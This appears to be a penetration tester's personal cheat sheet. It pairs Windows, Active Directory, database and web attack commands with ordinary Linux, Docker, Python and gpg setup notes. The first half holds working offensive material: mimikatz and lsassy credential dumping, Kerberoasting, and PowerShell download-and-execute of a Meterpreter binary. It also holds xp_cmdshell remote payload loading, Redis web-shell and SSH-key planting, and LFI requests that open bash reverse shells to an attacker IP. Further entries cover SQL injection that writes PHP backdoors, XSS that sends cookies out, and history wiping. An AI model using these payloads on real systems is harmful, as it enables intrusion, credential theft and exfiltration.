$ CME smb 127.0.0.1 -u snovvcrash -p '' --local-auth --sam
$ CME smb 127.0.0.1 -u snovvcrash -p '' -M spider_plus
$ CME smb 127.0.0.1 -u snovvcrash -p '' -M mimikatz
$ CME smb 127.0.0.1 -u snovvcrash -p '' -M lsassy
- www.harmj0y.net/blog/powershell/make-powerview-great-again/
- github.com/HarmJ0y/CheatSheets/blob/master/PowerView.pdf
- gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
- PowerView 2.0
- PowerView 3.0 [dev]
- PowerView 3.0 [New-GPOImmediateTask]
- PowerView 4.0 [fork]
$ curl -L https://github.com/PowerShellEmpire/PowerTools/raw/master/PowerView/powerview.ps1 > powerview2.ps1
$ curl -L https://github.com/PowerShellMafia/PowerSploit/raw/dev/Recon/PowerView.ps1 > powerview3.ps1
PowerView3 > Get-DomainComputer -Properties Name | Resolve-IPAddress
PowerView3 > Invoke-Kerberoast -OutputFormat Hashcat | fl
PowerShell ping sweep:
echo "[*] Scanning in progress...";1..254 |ForEach-Object {Get-WmiObject Win32_PingStatus -Filter "Address='10.10.100.$_' and Timeout=50 and ResolveAddressNames='false' and StatusCode=0" |select ProtocolAddress* |Out-File -Append -FilePath .\live_hosts.txt};echo "[+] Live hosts:"; Get-Content -Path .\live_hosts.txt | ? { $_ -match "10.10.100" }; echo "[*] Done.";del .\live_hosts.txt
PowerShell auto detect proxy, download file from remote HTTP server and run it:
$proxyAddr=(Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings").ProxyServer;$proxy=New-Object System.Net.WebProxy;$proxy.Address=$proxyAddr;$proxy.useDefaultCredentials=$true;$client=New-Object System.Net.WebClient;$client.Proxy=$proxy;$client.DownloadFile("http://10.10.13.37/met.exe","$env:userprofile\music\met.exe");$exec=New-Object -com shell.application;$exec.shellexecute("$env:userprofile\music\met.exe")
PowerShell manually set proxy and upload file to remote HTTP server:
$client=New-Object System.Net.WebClient;$proxy=New-Object System.Net.WebProxy("http://proxy.megacorp.local:3128",$true);$creds=New-Object Net.NetworkCredential('snovvcrash','Passw0rd!','megacorp.local');$creds=$creds.GetCredential("http://proxy.megacorp.local","3128","KERBEROS");$proxy.Credentials=$creds;$client.Proxy=$proxy;$client.UploadFile("http://10.10.13.37/results.txt","results.txt")
root@kali:$ kerbrute userenum -d MEGACORP.LOCAL --dc 127.0.0.1 /usr/share/seclists/Usernames/Names/names.txt -t 50
root@kali:$ kerbrute bruteuser -d MEGACORP.LOCAL --dc 127.0.0.1 /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt snovvcrash -t 50
PS > systeminfo
PS > whoami /priv (whoami /all)
PS > gci "$env:userprofile" -recurse -file -ea SilentlyContinue | select fullname
PS > net user
PS > net user /domain
PS > net user j.doe /domain
PS > net accounts
PS > net accounts /domain
PS > net localgroup Administrators
PS > net group /domain
PS > net group "Domain admins" /domain
PS > net group "Enterprise admins" /domain
PS > cmdkey /list
PS > wmic product get name
PS > get-process
PS > tasklist /SVC
PS > net start
PS > netstat -ano | findstr LIST
PS > ipconfig /all
PS > route print
PS > dir -force c:\
PS > (wmic os get OSArchitecture)[2]
PS > [Environment]::Is64BitOperatingSystem
PS > [Environment]::Is64BitProcess
PS > $ExecutionContext.SessionState.LanguageMode
PS > [System.Net.Dns]::GetHostAddresses('hostname') | % {$_.IPAddressToString}
PS > powershell -NoP -sta -NonI -W Hidden -Exec Bypass "IEX(New-Object Net.WebClient).DownloadString('https://github.com/BloodHoundAD/BloodHound/raw/master/Ingestors/SharpHound.ps1');Invoke-Bloodhound -CollectionMethod All,GPOLocalGroup,LoggedOn"
Common AV process names:
Process Name | Vendor/Product |
---|---|
avp.exe | Kaspersky Internet Security |
cpda.exe | End Point Security (Check Point) |
MsMpEng.exe | Windows Defender |
ntrtscan.exe | Trend Micro OfficeScan |
tmlisten.exe | Trend Micro OfficeScan |
PS > gc .\100-hosts.txt | % {gwmi -Query "select * from Win32_Process" -ComputerName $_ | ? {$_.Caption -in "name1.exe","name2.exe"} | select ProcessName,PSComputerName}
Identify Microsoft.NET version:
PS > cd C:\Windows\Microsoft.NET\Framework64\
PS > ls
PS > cd .\v4.0.30319\
PS > Get-Item .\clr.dll | Fl
Or
PS > [System.Diagnostics.FileVersionInfo]::GetVersionInfo($(Get-Item .\clr.dll)).FileVersion
Download through Tor:
Install:
$ mv /opt/tor-browser/Browser/Downloads/ghidra*.zip ~/tools
$ cd ~/tools && unzip ghidra*.zip && rm ghidra*.zip && mv ghidra* ghidra && cd -
$ sudo apt install openjdk-11-jdk
root@kali:$ mysql -u snovvcrash -p'Passw0rd!' -e 'show databases;'
$ sudo wget https://gist.githubusercontent.com/JukArkadiy/3d6cff222d1b87e963e7/raw/fbe6fe17a9bca6ce839544b7afb2276fff061d46/oracle-tns-poison.nse -O /usr/share/nmap/scripts/oracle-tns-poison.nse
$ sudo nmap -v -n -Pn -sV --script=oracle-tns-poison.nse -oA CVE-2014-0160/nmap/tns-poison -p1521 127.0.0.1
Install:
- github.com/quentinhardy/odat/releases
- github.com/quentinhardy/odat#installation-optional-for-development-version
$ git clone https://github.com/quentinhardy/odat ~/tools/odat && cd ~/tools/odat
$ git submodule init && git submodule update
$ sudo apt install libaio1 python3-dev alien python3-pip
$ wget https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient19.6-basic-19.6.0.0.0-1.x86_64.rpm
$ wget https://download.oracle.com/otn_software/linux/instantclient/19600/oracle-instantclient19.6-devel-19.6.0.0.0-1.x86_64.rpm
$ sudo alien --to-deb *.rpm
$ sudo dpkg -i *.deb
$ vi /etc/profile
...
export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
export PATH=${ORACLE_HOME}bin:$PATH
...
$ pip3 install cx_Oracle
$ python3 odat.py -h
Usage:
$ python3 odat.py tnspoison -s 127.0.0.1 -d CLREXTPROC --test-module
1> EXEC sp_configure 'show advanced options', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> xp_cmdshell 'whoami'
2> GO
root@kali:$ sqsh -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'
1> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.234/shell.ps1')"
2> GO
root@kali:$ mssqlclient.py MEGACORP/snovvcrash:'Passw0rd!'@127.0.0.1 [-windows-auth]
SQL> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.14.234/shell.ps1\")"
root@kali:$ python -m pip install mssql-cli
root@kali:$ mssql-cli -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'
SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%';
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='secret_database';
SELECT username,password FROM secret_database;
- packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html
- 2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
Install [1] or [2]:
root@kali:$ mkdir ~/tools/redis-cli-go && cd ~/tools/redis-cli-go
root@kali:$ wget [1] -O redis-cli-go && chmod +x redis-cli-go
root@kali:$ ln -s ~/tools/redis-cli-go/redis-cli-go /usr/local/bin/redis-cli-go && cd -
Check if vulnarable:
root@kali:$ nc 127.0.0.1 6379
Escape character is '^]'.
echo "Hey, no AUTH required!"
$21
Hey, no AUTH required!
quit
+OK
Connection closed by foreign host.
root@kali:$ redis-cli -h 127.0.0.1 flushall
root@kali:$ redis-cli -h 127.0.0.1 set pwn '<?php system($_REQUEST['cmd']); ?>'
root@kali:$ redis-cli -h 127.0.0.1 config set dbfilename shell.php
root@kali:$ redis-cli -h 127.0.0.1 config set dir /var/www/html/
root@kali:$ redis-cli -h 127.0.0.1 save
root@kali:$ ssh-keygen -t ecdsa -s 521 -f key
root@kali:$ (echo -e "\n\n"; cat key.pub; echo -e "\n\n") > key.txt
root@kali:$ redis-cli -h 127.0.0.1 flushall
root@kali:$ cat foo.txt | redis-cli -h 127.0.0.1 -x set pwn
root@kali:$ redis-cli -h 127.0.0.1 config set dbfilename authorized_keys
root@kali:$ redis-cli -h 127.0.0.1 config set dir /var/lib/redis/.ssh
root@kali:$ redis-cli -h 127.0.0.1 save
/etc/samba/smb.conf
:
log level = 3
[share]
comment = TEMP
path = /tmp/smb
writable = no
guest ok = yes
guest only = yes
read only = yes
browsable = yes
directory mode = 0555
force user = nobody
root@kali:$ chmod 0555 /tmp/smb
root@kali:$ chown -R nobody:nogroup /tmp/smb
root@kali:$ service smbd restart
root@kali:$ tail -f /var/log/samba/log.<HOSTNAME>
- medium.com/bugbountywriteup/bugbounty-journey-from-lfi-to-rce-how-a69afe5a0899
- outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1
Access log (needs single '
instead of double "
):
root@kali:$ nc 127.0.0.1 80
GET /<?php system($_GET['cmd']); ?>
root@kali:$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//var//log//apache2//access.log&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'
Or
root@kali:$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//proc//self//fd//1&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'
Error log:
root@kali:$ curl -X POST 'http://127.0.0.1/vuln1.php' --form "userfile=@docx/sample.docx" --form 'submit=Generate pdf' --referer 'http://nowhere.com/<?php system($_GET["cmd"]); ?>'
root@kali:$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//var//log//apache2//error.log&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'
Or
root@kali:$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//proc//self//fd//2&cmd=%2Fbin%2Fbash%20-c%20%27%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.213%2F1337%200%3E%261%27'
Write file:
$ sqlmap -r request.req --batch --file-write=./backdoor.php --file-dest=C:/Inetpub/wwwroot/backdoor.php
Test WAF:
$ sqlmap.py -u 'https://127.0.0.1/index.php' --data='{"id":"*"}' -p id --identify-waf --tamper='between,randomcase,space2comment' --random-agent --tor --check-tor --thread=1 -b --batch -v6
- defcon.ru/web-security/2320/
- www.securityidiots.com/Web-Pentest/SQL-Injection/Dump-in-One-Shot-part-1.html
- dba.stackexchange.com/questions/4169/how-to-use-variables-inside-a-select-sql-server
- www.mssqltips.com/sqlservertip/6038/sql-server-derived-table-example/
MySQL:
id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (information_schema.columns) WHERE (@a) IN (@a:=concat(@a,'<font color=red>',table_schema,'</font>',' ::: ','<font color=green>',table_name,'</font>','<br>'))))a);-- -
SELECT (@a) FROM (
SELECT(@a:=0x00), (
SELECT (@a) FROM (information_schema.schemata)
WHERE (@a) IN (@a:=concat(@a,schema_name,'\n'))
)
) foo
id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (mytable.users) WHERE (@a) IN (@a:=concat(@a,':::',id,':::',login,':::',password)) AND is_admin='1'))a);-- -
POST /index.php HTTP/1.1
Host: 127.0.0.1
name=snovvcrash&email=admin%example.com++++++++++11&password=qwe12345
id=-1' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from mysql.innodb_table_stats)b ON 1=1#
id=1' UNION ALL SELECT 1,2,3,4,"<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>",6 INTO OUTFILE 'C:\\Inetpub\\wwwroot\\backdoor.php';#
id=1' UNION ALL SELECT LOAD_FILE('c:\\xampp\\htdocs\\admin\\db.php'),2,3-- -
<head>
<meta http-equiv="refresh" content="0; URL=http://www.example.com/" />
</head>
Img tag:
<img src="x" onerror="this.src='http://10.10.15.123/?c='+btoa(document.cookie)">
Fetch:
<script>
fetch('https://<SESSION>.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
<script>
var xhr = new XMLHttpRequest;
xhr.onload = function() {
document.write(this.responseText);
};
xhr.open("GET", "file:///etc/passwd");
xhr.send();
</script>
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText);};x.open("GET","file:///etc/passwd");x.send();</script>
If the endpoint is accessible only from localhost:
<script>
var xhr;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr.open("POST", "/backdoor.php");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("cmd=powershell -nop -exec bypass -f \\\\10.10.15.123\\share\\rev.ps1");
</script>
With capturing CSRF token first:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('GET', '/email', true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('POST', '/email/change-email', true);
changeReq.send('csrf='+token+'&[email protected]')
};
</script>
- All learning materials - detailed / Web Security Academy
- All labs / Web Security Academy
- SQL injection cheat sheet / Web Security Academy
- Cross-Site Scripting (XSS) Cheat Sheet / Web Security Academy
BApp Store:
- ActiveScan++ Pro
- Add Custom Header
- Additional CSRF Checks
- Additional Scanner Checks Pro
- Attack Surface Detector
- Backslash Powered Scanner Pro
- Collaborator Everywhere Pro
- CSRF Scanner Pro
- Freddy, Deserialization Bug Finder Pro
- HTTP Request Smuggler
- IP Rotate
- J2EEScan Pro
- Java Deserialization Scanner Pro
- Java Serialized Payloads
- JS Link Finder Pro
- JSON Beautifier
- JSON Web Token Attacker
- Logger++
- SQLiPy Sqlmap Integration
- SSL Scanner
- Taborator Pro
- WordPress Scanner
GitHub:
$ gobuster dir -u 'http://127.0.0.1' -w /usr/share/wordlists/dirbuster/directory-list[-lowercase]-2.3-medium.txt -x php,asp,aspx,jsp,ini,config,cfg,xml,htm,html,json,bak,txt -t 50 -a 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0' -s 200,204,301,302,307,401 -o gobuster/127.0.0.1
$ nikto -h http://127.0.0.1 -Cgidirs all
- Pentesting AD · Orange-Cyberdefense/arsenal
- Pentesting Exchange · Orange-Cyberdefense/arsenal
- Abusing ACEs · Orange-Cyberdefense/arsenal
- Pentesting Wi-Fi · koutto/pi-pwnbox-rogueap
- Pentesting Web Applications · Chintan Gurjar
$ wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add -
$ sudo apt install apt-transport-https -y
$ echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list
$ sudo apt update && sudo apt install sublime-text -y
$ wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add - && sudo apt install apt-transport-https -y && echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list && sudo apt update && sudo apt install sublime-text -y
Add SSH key to the ssh-agent:
$ eval "$(ssh-agent -s)"
$ ssh-add ~/.ssh/id_rsa
Test SSH key:
ssh -T [email protected]
$ docker ps -a
$ docker stop `docker container ls -aq`
$ docker rm -v `docker container ls -aq -f status=exited`
$ docker rmi `docker images -aq`
$ docker start -ai <CONTAINER>
$ docker cp project/. <CONTAINER>:/root/project
$ docker run --rm -ith <HOSTNAME> --name <NAME> ubuntu bash
$ docker build -t <USERNAME>/<IMAGE> .
$ sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common -y
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
[$ sudo apt-key fingerprint 0EBFCD88]
$ sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
(Or for Kali) $ echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
$ sudo apt update
[$ apt-cache policy docker-ce]
$ sudo apt install docker-ce
[$ sudo systemctl status docker]
$ sudo usermod -aG docker ${USER}
relogin
[$ docker run --rm hello-world]
$ sudo curl -L "https://github.com/docker/compose/releases/download/1.25.3/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
$ sudo chmod +x /usr/local/bin/docker-compose
[$ sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose]
$ sudo apt install software-properties-common -y
$ sudo add-apt-repository ppa:deadsnakes/ppa
$ sudo apt update && sudo apt install python3.7 -y
$ sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.6 1
$ sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.6 2
$ sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.7 3
$ sudo update-alternatives --config python3
$ sudo apt install python[3]-pip -y
Or
$ wget https://bootstrap.pypa.io/get-pip.py
$ python[3] get-pip.py
$ sudo python3 -m pip install --upgrade pip
$ pip freeze --local [-r requirements.txt] > requirements.txt
$ sudo apt install python3-venv
$ python3 -m venv venv
$ sudo pip3 install virtualenv
$ virtualenv -p python3 venv
$ source venv/bin/activate
$ deactivate
$ sudo pip3 install virtualenvwrapper
$ export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
$ source /usr/local/bin/virtualenvwrapper.sh
(in ~/.zshrc)
$ mkvirtualenv env-name
$ workon
$ workon env-name
$ deactivate
$ rmvirtualenv env-name
$ sudo pip install pipenv
$ pipenv --python python3 install [package]
$ pipenv shell
^D
$ pipenv run python script.py
$ pipenv lock -r > requirements.txt
$ pipenv --venv
$ pipenv --rm
Workaround for TypeError: 'module' object is not callable
:
$ pipenv --python python3 install pip==18.0
doctest
imported:
$ python3 example.py [-v]
doctest
not imported:
$ python3 -m doctest example.py [-v]
$ python3 -m flake8 --ignore W191,E127,E226,E265,E501 somefile.py
$ python3 -m pylint -d C0111,C0122,C0330,W0312 --msg-template='{msg_id}:{line:3d},{column:2d}:{obj}:{msg}' somefile.py
$ python setup.py sdist bdist_wheel [--bdist-dir ~/temp/bdistwheel]
$ twine check dist/*
$ twine upload --repository-url https://test.pypi.org/legacy/ dist/*
$ twine upload dist/*
$ python3 -m pip install bpython
List keychain:
$ gpg --list-keys
Gen key:
$ gpg --full-generate-key [--expert]
Gen revoke cert:
$ gpg --output revoke.asc --gen-revoke [email protected]
revoke.asc
Export user's public key:
$ gpg --armor --output user.pub --export [email protected]
user.pub
Import recipient's public key:
$ gpg --import recipient.pub
Sign and encrypt:
$ gpg -o/--output encrypted.txt.gpg -e/--encrypt -s/--sign -u/--local-user [email protected] -r/--recipient [email protected] plaintext.txt
encrypted.txt.gpg
List recipients:
$ gpg --list-only -v -d/--decrypt encrypted.txt.gpg
Verify signature:
$ gpg --verify signed.txt.gpg
$ gpg --verify signed.txt.sig signed.txt
Decrypt and verify:
$ gpg -o/--output decrypted.txt -d/--decrypt --try-secret-key [email protected] encrypted.txt.gpg
$ gpg -o/--output decrypted.txt -d/--decrypt -u/--local-user [email protected] -r/--recipient [email protected] encrypted.txt.gpg
- How to Use GPG Keys to Send Encrypted Messages
- Используем GPG для шифрования сообщений и файлов / Хабр
- Как пользоваться gpg: шифрование, расшифровка файлов и сообщений, подпись файлов и проверка подписи, управление ключами - HackWare.ru
Cmd > "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" dhcpserver add --netname intnet --ip 10.0.1.1 --netmask 255.255.255.0 --lowerip 10.0.1.101 --upperip 10.0.1.254 --enable
$ sudo usermod -aG vboxsf snovvcrash
$ sudo reboot
$ sudo service NetworkManager stop
$ sudo ifconfig
$ sudo ifconfig eth0 10.10.13.37 netmask 255.255.255.0
$ sudo route add default gw 10.10.13.1 dev eth0
$ sudo route -n
$ sudo vi /etc/resolv.conf
$ ping 8.8.8.8
$ nslookup ya.ru
$ sudo systemctl enable ssh --now
/etc/netplan/*.yaml
:
network:
version: 2
renderer: networkd
ethernets:
eth0:
addresses: [10.10.13.37/24]
gateway4: 10.10.13.1
dhcp4: true
optional: true
nameservers:
addresses: [8.8.8.8,8.8.4.4]
$ sudo service NetworkManager stop
$ sudo netplan apply
Mix settings list (both for hardware install and virtualization):
[VM] Disable screen lock (Power manager settings -> Display -> Display power manager -> OFF)
[VM] Configure networks (+ remember to configure VBox DHCP first)
[All] Update && Upgrade (+ change /etc/apt/sources.list to HTTPS if getting "403 Forbidden" because of the antivirus)
$ sudo apt update && sudo upgrade -y
$ sudo reboot
[VM] Install guest additions
* Insert Guest Additions CD image and open terminal there
$ cp /media/cdrom0/VBoxLinuxAdditions.run ~/Desktop && chmod 755 ~/Desktop/VBoxLinuxAdditions.run && sudo ~/Desktop/VBoxLinuxAdditions.run
$ sudo reboot
$ rm ~/Desktop/VBoxLinuxAdditions.run && sudo eject
[ALL] Manage users
* Enable root or create new user
SWITCH {
CASE (root):
$ sudo -i
$ passwd root
* Re-login as root
CASE (non-root):
$ sudo useradd -m -s /bin/bash -u 1337 snovvcrash
$ passwd snovvcrash
$ usermod -aG sudo snovvcrash
* Re-login as snovvcrash
}
* Disable kali user [VM]
SWITCH {
CASE (lock):
$ sudo usermod -L kali && usermod -s /sbin/nologin kali && chage -E0 kali
CASE (delete):
$ sudo userdel -r kali
}
[ALL] Increase sudo password timeout value
$ sudo visudo
"Defaults env_reset,timestamp_timeout=45"
[ALL] Install cmake
$ sudo apt install cmake -y
[ALL] Pull dotfiles
$ git clone https://github.com/snovvcrash/dotfiles-linux ~/.dotfiles
[ALL] Run ~/.dotfiles/00-autodeploy scripts on the discretion
Known issues:
- forums.virtualbox.org/viewtopic.php?f=3&t=96087
- www.ceos3c.com/hacking/kali-linux-2020-1-virtualbox-shared-clipboard-stopped-working-fixed/
Configure multiple interfaces to work simultaneously:
root@kali:$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
source /etc/network/interfaces.d/*
# NAT
allow-hotplug eth0
iface eth0 inet dhcp
# Internal
allow-hotplug eth1
iface eth1 inet dhcp
# Host-only
allow-hotplug eth2
iface eth2 inet dhcp
# The loopback network interface
auto lo
iface lo inet loopback
root@kali:$ ifup eth0
root@kali:$ ifup eth1
root@kali:$ ifup eth2
- unix.stackexchange.com/questions/37122/virtualbox-two-network-interfaces-nat-and-host-only-ones-in-a-debian-guest-on
- kali.training/topic/configuring-the-network/
- www.blackmoreops.com/2013/11/25/how-to-fix-wired-network-interface-device-not-managed-error/
- www.virtualbox.org/manual/ch06.html
- forums.kali.org/showthread.php?29657-Only-one-of-multiple-wired-interfaces-(eth0-eth1-etc)-can-be-active-at-a-time
Mount:
root@kali:$ mkdir ~/Desktop/Share
root@kali:$ mount -t vboxsf /mnt/share-host ~/Desktop/Share
Or (if mounted from VBox settings)
root@kali:$ ln -s /mnt/share-host ~/Desktop/Share
root@kali:$ sudo adduser $USER vboxsf
Automount:
root@kali:$ crontab -e
"@reboot sleep 10; mount -t vboxsf /mnt/share-host ~/Desktop/Share"
From CP1252 to UTF-8:
$ iconv -f CP1252 -t UTF8 inputfile.txt -o outputfile.txt
Or
$ enconv -x UTF8 somefile.txt
Check:
$ enconv -d somefile.txt
Or
$ file -i somefile.txt
Remove ANSI escape codes:
$ awk '{ gsub("\\x1B\\[[0-?]*[ -/]*[@-~]", ""); print }' somefile.txt
input.txt: ASCII text
VS
input.txt: ASCII text, with CRLF line terminators
From Win to Unix:
$ awk '{ sub("\r$", ""); print }' input.txt > output.txt
Or
$ dos2unix input.txt
From Unix to Win:
$ awk 'sub("$", "\r")' input.txt > output.txt
Or
$ unix2dos input.txt
$ netstat -anlp | grep LIST
$ ss -nlpt | grep LIST
$ wget -q -O - https://ipinfo.io/ip
Start:
CTRL + ALT + F1-6
Stop:
ALT + F8
$ ps aux | grep firefox
Or
$ pidof firefox
$ kill -15 <PID>
Or
$ kill -SIGTERM <PID>
Or
$ kill <PID>
If -15 signal didn't help, use stronger -9 signal:
$ kill -9 <PID>
Or
$ kill -SIGKILL <PID>
$ echo '#include <sys/types.h>'' | gcc -E -x c - | grep '/types.h'
$ valgrind --leak-check=full --track-origins=yes --leak-resolution=med ./a.out
$ openssl enc -e -aes-128-ecb -in file.txt -out file.txt.ecb -K 10101010
$ openssl enc -d -aes-128-ecb -in file.txt.ecb -out file.txt.ecb_dec -K 10101010
$ echo 'secret_data1 + secret_data2 + secret_data3' | openssl enc -e -aes-256-cbc -a -salt -md sha256 -iv 10101010 -pass pass:qwerty
$ echo 'U2FsdGVkX1+d1qH1M3nhYFKscrg5QYt+AlTSBPHgdB4JEP8YSy1FX+xYdrfJ5cZgfoGrW+2On7lMxRIhKCUmWQ==' | openssl enc -d -aes-256-cbc -a -salt -md sha256 -iv 10101010 -pass pass:qwerty
$ ssh-keygen -t rsa -b 4096 -N 's3cr3t_p4ssw0rd' -C '[email protected]' -f rsa_key
$ mv rsa_key rsa_key.old
$ openssl pkcs8 -topk8 -v2 des3 \
-in rsa_key.old -passin 'pass:s3cr3t_p4ssw0rd' \
-out rsa_key -passout 'pass:s3cr3t_p4ssw0rd'
$ chmod 600 rsa_key
$ openssl rsa -text -in rsa_key -passin 'pass:s3cr3t_p4ssw0rd'
$ openssl asn1parse -in rsa_key
$ ssh-keygen -o -a 100 -t ed25519 -f ~/.ssh/id_ed25519
$ > logfile
Or
$ cat /dev/null > logfile
Or
$ dd if=/dev/null of=logfile
Or
$ truncate logfile --size 0
$ cat /dev/null > ~/.bash_history && history -c && exit
$ shred -zvu -n7 /path/to/file
$ find /path/to/dir -type f -exec shred -zvu -n7 {} \;
$ shred -zv -n0 /dev/sdc1
List devices:
$ lsblk
$ sudo fdisk -l
$ df -h
Manage partitions:
$ sudo fdisk /dev/sd??
Format:
$ sudo umount /dev/sd??
$ sudo mkfs.<type> -F 32 -I /dev/sd?? -n VOLUME-NAME
type: 'msdos' (=fat32), 'ntfs'
$ mcopy -i floppy.img 123.txt ::123.txt
$ mdel -i floppy.img 123.TXT
Compare file hashes:
$ md5sum /path/to/abc.txt | awk '{print $1, "/path/to/cba.txt"}' > /tmp/checksum.txt
$ md5sum -c /tmp/checksum.txt
Compare directory hashes:
$ hashdeep -c md5 -r /path/to/dir1 > dir1hashes.txt
$ hashdeep -c md5 -r -X -k dir1hashes.txt /path/to/dir2
Set defaults for files:
$ find . -type f -exec chmod 644 {} \;
Set defaults for directories:
$ find . -type d -exec chmod 755 {} \;
$ sudo crontab -l | { cat; echo '@reboot echo $((16*1024*1024)) > /proc/sys/vm/dirty_background_bytes'; } | crontab -
$ sudo crontab -l | { cat; echo '@reboot echo $((48*1024*1024)) > /proc/sys/vm/dirty_bytes'; } | crontab -
Remove old kernels:
$ dpkg -l linux-image-\* | grep ^ii
$ kernelver=$(uname -r | sed -r 's/-[a-z]+//')
$ dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep -ve $kernelver
$ sudo apt-get purge $(dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep -ve "$(uname -r | sed -r 's/-[a-z]+//')")
Install xfce4
:
$ sudo apt update
$ sudo apt upgrade -y
$ sudo apt install xfce4 xfce4-terminal gtk2-engines-pixbuf -y
$ sudo apt install peek -y
Or
$ sudo apt install byzanz xdotool -y
$ xdotool getmouselocation
$ byzanz-record --duration=15 --x=130 --y=90 --width=800 --height=500 ~/Desktop/out.gif
$ sudo apt purge ntp -y
$ sudo timedatectl set-timezone Europe/Moscow
$ sudo vi /etc/systemd/timesyncd.conf
NTP=0.ru.pool.ntp.org 1.ru.pool.ntp.org 2.ru.pool.ntp.org 3.ru.pool.ntp.org
$ sudo service systemd-timesyncd restart
$ sudo timedatectl set-ntp true
$ timedatectl status
$ service systemd-timesyncd status
$ service systemd-timedated status
- feeding.cloud.geek.nz/posts/time-synchronization-with-ntp-and-systemd/
- billauer.co.il/blog/2019/01/ntp-systemd/
XOR 2 images:
$ convert img1.png img2.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" img_out
Pack:
tar -cvf filename.tar
Unpack:
tar -xvf filename.tar
Pack:
tar -cvzf filename.tar.gz
Unpack:
tar -xvzf filename.tar.gz
Pack:
tar -cvjf filename.tar.bz
Unpack:
tar -xvjf filename.tar.bz
Encrypt and pack all files in directory::
$ 7z a packed.7z -mhe -p"p4sSw0rD" *
Decrypt and unpack:
$ 7z e packed.7z -p"p4sSw0rD"
Recursive grep:
$ grep -rnw /path/to/dir -e 'pattern'
Recursive find and replace:
$ find . -type f -name "*.txt" -exec sed -i'' -e 's/\<foo\>/bar/g' {} +
Exec strings
and grep on the result with printing filenames:
$ find . -type f -print -exec sh -c 'strings $1 | grep -i -n "signature"' sh {} \;
Find and xargs
grep results:
$ find . -type f -print0 | xargs -0 grep <PATTERN>
Get absolute path of a file:
$ readlink -f somefile.txt
$ dpkg -s <package_name>
$ dpkg-query -W -f='${Status}' <package_name>
$ OUT="dpkg-query-$(date +'%FT%H%M%S').csv"; echo 'package,version' > ${OUT} && dpkg-query -W -f '${Package},${Version}\n' >> ${OUT}
